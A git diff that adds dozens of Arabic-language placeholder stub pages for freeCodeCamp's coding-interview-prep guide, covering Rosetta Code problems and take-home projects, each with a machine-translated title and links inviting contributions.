diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/greatest-subsequential-sum/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/greatest-subsequential-sum/index.md
new file mode 100644
index 0000000000..e63f791b17
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/greatest-subsequential-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Greatest subsequential sum
+localeTitle: أكبر مبلغ لاحق
+---
+## أكبر مبلغ لاحق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/greatest-subsequential-sum/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/hailstone-sequence/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/hailstone-sequence/index.md
new file mode 100644
index 0000000000..c9981bfd6d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/hailstone-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Hailstone sequence
+localeTitle: تسلسل Hailstone
+---
+## تسلسل Hailstone
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/hailstone-sequence/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/happy-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/happy-numbers/index.md
new file mode 100644
index 0000000000..597e18c239
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/happy-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Happy numbers
+localeTitle: أرقام سعيدة
+---
+## أرقام سعيدة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/happy-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/harshad-or-niven-series/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/harshad-or-niven-series/index.md
new file mode 100644
index 0000000000..13ddcb3a51
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/harshad-or-niven-series/index.md
@@ -0,0 +1,9 @@
+---
+title: Harshad or Niven series
+localeTitle: سلسلة هارشاد أو نيفن
+---
+## سلسلة هارشاد أو نيفن
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/harshad-or-niven-series/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/hash-from-two-arrays/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/hash-from-two-arrays/index.md
new file mode 100644
index 0000000000..57cbc06884
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/hash-from-two-arrays/index.md
@@ -0,0 +1,9 @@
+---
+title: Hash from two arrays
+localeTitle: تجزئة من صفيفتين
+---
+## تجزئة من صفيفتين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/hash-from-two-arrays/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/hash-join/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/hash-join/index.md
new file mode 100644
index 0000000000..f9d1793f8f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/hash-join/index.md
@@ -0,0 +1,9 @@
+---
+title: Hash join
+localeTitle: انضم التجزئة
+---
+## انضم التجزئة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/hash-join/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/heronian-triangles/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/heronian-triangles/index.md
new file mode 100644
index 0000000000..e2ec0a14cd
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/heronian-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Heronian triangles
+localeTitle: مثلثات هيرونية
+---
+## مثلثات هيرونية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/heronian-triangles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/hofstadter-figure-figure-sequences/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/hofstadter-figure-figure-sequences/index.md
new file mode 100644
index 0000000000..4418cbddda
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/hofstadter-figure-figure-sequences/index.md
@@ -0,0 +1,9 @@
+---
+title: Hofstadter Figure-Figure sequences
+localeTitle: هوفستاتر الشكل-تسلسل الشكل
+---
+## هوفستاتر الشكل-تسلسل الشكل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/hofstadter-figure-figure-sequences/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/hofstadter-q-sequence/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/hofstadter-q-sequence/index.md
new file mode 100644
index 0000000000..fe4011b076
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/hofstadter-q-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Hofstadter Q sequence
+localeTitle: تسلسل هوفستاتر Q
+---
+## تسلسل هوفستاتر Q
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/hofstadter-q-sequence/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/i-before-e-except-after-c/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/i-before-e-except-after-c/index.md
new file mode 100644
index 0000000000..6240f04dd9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/i-before-e-except-after-c/index.md
@@ -0,0 +1,9 @@
+---
+title: I before E except after C
+localeTitle: أنا قبل E ما عدا بعد C
+---
+## أنا قبل E ما عدا بعد C
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/i-before-e-except-after-c/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/iban/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/iban/index.md
new file mode 100644
index 0000000000..4f54e3e543
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/iban/index.md
@@ -0,0 +1,9 @@
+---
+title: IBAN
+localeTitle: كانوا
+---
+## IBAN
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/iban/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/identity-matrix/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/identity-matrix/index.md
new file mode 100644
index 0000000000..2f252347fc
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/identity-matrix/index.md
@@ -0,0 +1,9 @@
+---
+title: Identity matrix
+localeTitle: مصفوفة الهوية
+---
+## مصفوفة الهوية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/identity-matrix/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/index.md
new file mode 100644
index 0000000000..1a26bd4cc7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/index.md
@@ -0,0 +1,11 @@
+---
+title: Rosetta Code
+localeTitle: كود روزيتا
+---
+## كود روزيتا
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/iterated-digits-squaring/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/iterated-digits-squaring/index.md
new file mode 100644
index 0000000000..8249f9a561
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/iterated-digits-squaring/index.md
@@ -0,0 +1,9 @@
+---
+title: Iterated digits squaring
+localeTitle: أرقام متكررة تربيع
+---
+## أرقام متكررة تربيع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/iterated-digits-squaring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/jaro-distance/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/jaro-distance/index.md
new file mode 100644
index 0000000000..115ef83e39
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/jaro-distance/index.md
@@ -0,0 +1,9 @@
+---
+title: Jaro distance
+localeTitle: المسافة جارو
+---
+## المسافة جارو
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/jaro-distance/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/jortsort/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/jortsort/index.md
new file mode 100644
index 0000000000..08d9590b59
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/jortsort/index.md
@@ -0,0 +1,9 @@
+---
+title: JortSort
+localeTitle: JortSort
+---
+## JortSort
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/jortsort/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/josephus-problem/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/josephus-problem/index.md
new file mode 100644
index 0000000000..56ab40e8eb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/josephus-problem/index.md
@@ -0,0 +1,9 @@
+---
+title: Josephus problem
+localeTitle: مشكلة جوزيفوس
+---
+## مشكلة جوزيفوس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/josephus-problem/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/s-expressions/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/s-expressions/index.md
new file mode 100644
index 0000000000..152d1576fb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/s-expressions/index.md
@@ -0,0 +1,9 @@
+---
+title: S-Expressions
+localeTitle: S-التعبير
+---
+## S-التعبير
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/s-expressions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/sailors-coconuts-and-a-monkey-problem/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/sailors-coconuts-and-a-monkey-problem/index.md
new file mode 100644
index 0000000000..b0de2714e6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/sailors-coconuts-and-a-monkey-problem/index.md
@@ -0,0 +1,9 @@
+---
+title: Sailors, coconuts and a monkey problem
+localeTitle: بحارة وجوز الهند ومشكلة قرد
+---
+## بحارة وجوز الهند ومشكلة قرد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/sailors-coconuts-and-a-monkey-problem/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/sedols/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/sedols/index.md
new file mode 100644
index 0000000000..f5edcc32e6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/sedols/index.md
@@ -0,0 +1,9 @@
+---
+title: SEDOLs
+localeTitle: SEDOLs
+---
+## SEDOLs
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/sedols/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/taxicab-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/taxicab-numbers/index.md
new file mode 100644
index 0000000000..cae05e0d0d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/taxicab-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Taxicab numbers
+localeTitle: أرقام سيارات الأجرة
+---
+## أرقام سيارات الأجرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/taxicab-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/tokenize-a-string-with-escaping/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/tokenize-a-string-with-escaping/index.md
new file mode 100644
index 0000000000..5f520f2d7e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/tokenize-a-string-with-escaping/index.md
@@ -0,0 +1,9 @@
+---
+title: Tokenize a string with escaping
+localeTitle: لتكوين سلسلة مع الهروب
+---
+## لتكوين سلسلة مع الهروب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/tokenize-a-string-with-escaping/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/top-rank-per-group/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/top-rank-per-group/index.md
new file mode 100644
index 0000000000..e856aa2eec
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/top-rank-per-group/index.md
@@ -0,0 +1,9 @@
+---
+title: Top rank per group
+localeTitle: أعلى مرتبة لكل مجموعة
+---
+## أعلى مرتبة لكل مجموعة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/top-rank-per-group/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/topological-sort/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/topological-sort/index.md
new file mode 100644
index 0000000000..b8d521bbb0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/topological-sort/index.md
@@ -0,0 +1,9 @@
+---
+title: Topological sort
+localeTitle: طوبولوجي
+---
+## طوبولوجي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/topological-sort/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/towers-of-hanoi/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/towers-of-hanoi/index.md
new file mode 100644
index 0000000000..b4e6d79e1d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/towers-of-hanoi/index.md
@@ -0,0 +1,9 @@
+---
+title: Towers of Hanoi
+localeTitle: أبراج هانوي
+---
+## أبراج هانوي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/towers-of-hanoi/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/vector-cross-product/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/vector-cross-product/index.md
new file mode 100644
index 0000000000..6a65fe7e7c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/vector-cross-product/index.md
@@ -0,0 +1,9 @@
+---
+title: Vector cross product
+localeTitle: Vector عبر المنتج
+---
+## Vector عبر المنتج
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/vector-cross-product/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/vector-dot-product/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/vector-dot-product/index.md
new file mode 100644
index 0000000000..a7bef6e7e0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/vector-dot-product/index.md
@@ -0,0 +1,9 @@
+---
+title: Vector dot product
+localeTitle: Vector dot product
+---
+## Vector dot product
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/vector-dot-product/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/word-wrap/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/word-wrap/index.md
new file mode 100644
index 0000000000..b82531307f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/word-wrap/index.md
@@ -0,0 +1,9 @@
+---
+title: Word wrap
+localeTitle: كلمة التفاف
+---
+## كلمة التفاف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/word-wrap/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/y-combinator/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/y-combinator/index.md
new file mode 100644
index 0000000000..8636c5fb97
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/y-combinator/index.md
@@ -0,0 +1,9 @@
+---
+title: Y combinator
+localeTitle: ومدمج
+---
+## Y دمج
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/y-combinator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/zeckendorf-number-representation/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/zeckendorf-number-representation/index.md
new file mode 100644
index 0000000000..26509a40e2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/zeckendorf-number-representation/index.md
@@ -0,0 +1,9 @@
+---
+title: Zeckendorf number representation
+localeTitle: حدد تمثيل رقم القرية
+---
+## تمثيل عدد Zeckendorf
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/zeckendorf-number-representation/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/zhang-suen-thinning-algorithm/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/zhang-suen-thinning-algorithm/index.md
new file mode 100644
index 0000000000..f4e70b2dc6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/zhang-suen-thinning-algorithm/index.md
@@ -0,0 +1,9 @@
+---
+title: Zhang-Suen thinning algorithm
+localeTitle: تشانغ سوين خوارزمية ترقق
+---
+## تشانغ سوين خوارزمية ترقق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/zhang-suen-thinning-algorithm/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/zig-zag-matrix/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/zig-zag-matrix/index.md
new file mode 100644
index 0000000000..f3b839965d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/zig-zag-matrix/index.md
@@ -0,0 +1,9 @@
+---
+title: Zig-zag matrix
+localeTitle: مصفوفة التعرج
+---
+## مصفوفة التعرج
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/zig-zag-matrix/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-camper-leaderboard/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-camper-leaderboard/index.md
new file mode 100644
index 0000000000..651fd1c8b1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-camper-leaderboard/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Camper Leaderboard
+localeTitle: بناء المتصدرين كامبر
+---
+## بناء المتصدرين كامبر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-camper-leaderboard/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-light-bright-app/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-light-bright-app/index.md
new file mode 100644
index 0000000000..fd7bbf436b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-light-bright-app/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Light-Bright App
+localeTitle: قم ببناء تطبيق مشرق
+---
+## قم ببناء تطبيق مشرق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-light-bright-app/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-nightlife-coordination-app/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-nightlife-coordination-app/index.md
new file mode 100644
index 0000000000..84860079ec
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-nightlife-coordination-app/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Nightlife Coordination App
+localeTitle: بناء تطبيق تنسيق الحياة الليلية
+---
+## بناء تطبيق تنسيق الحياة الليلية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-nightlife-coordination-app/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-pinterest-clone/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-pinterest-clone/index.md
new file mode 100644
index 0000000000..52d8745952
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-pinterest-clone/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Pinterest Clone
+localeTitle: بناء استنساخ Pinterest
+---
+## بناء استنساخ Pinterest
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-pinterest-clone/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-pong-game/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-pong-game/index.md
new file mode 100644
index 0000000000..276c622b25
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/take-home-projects/build-a-pong-game/index.md
@@ -0,0 +1,9 @@
+---
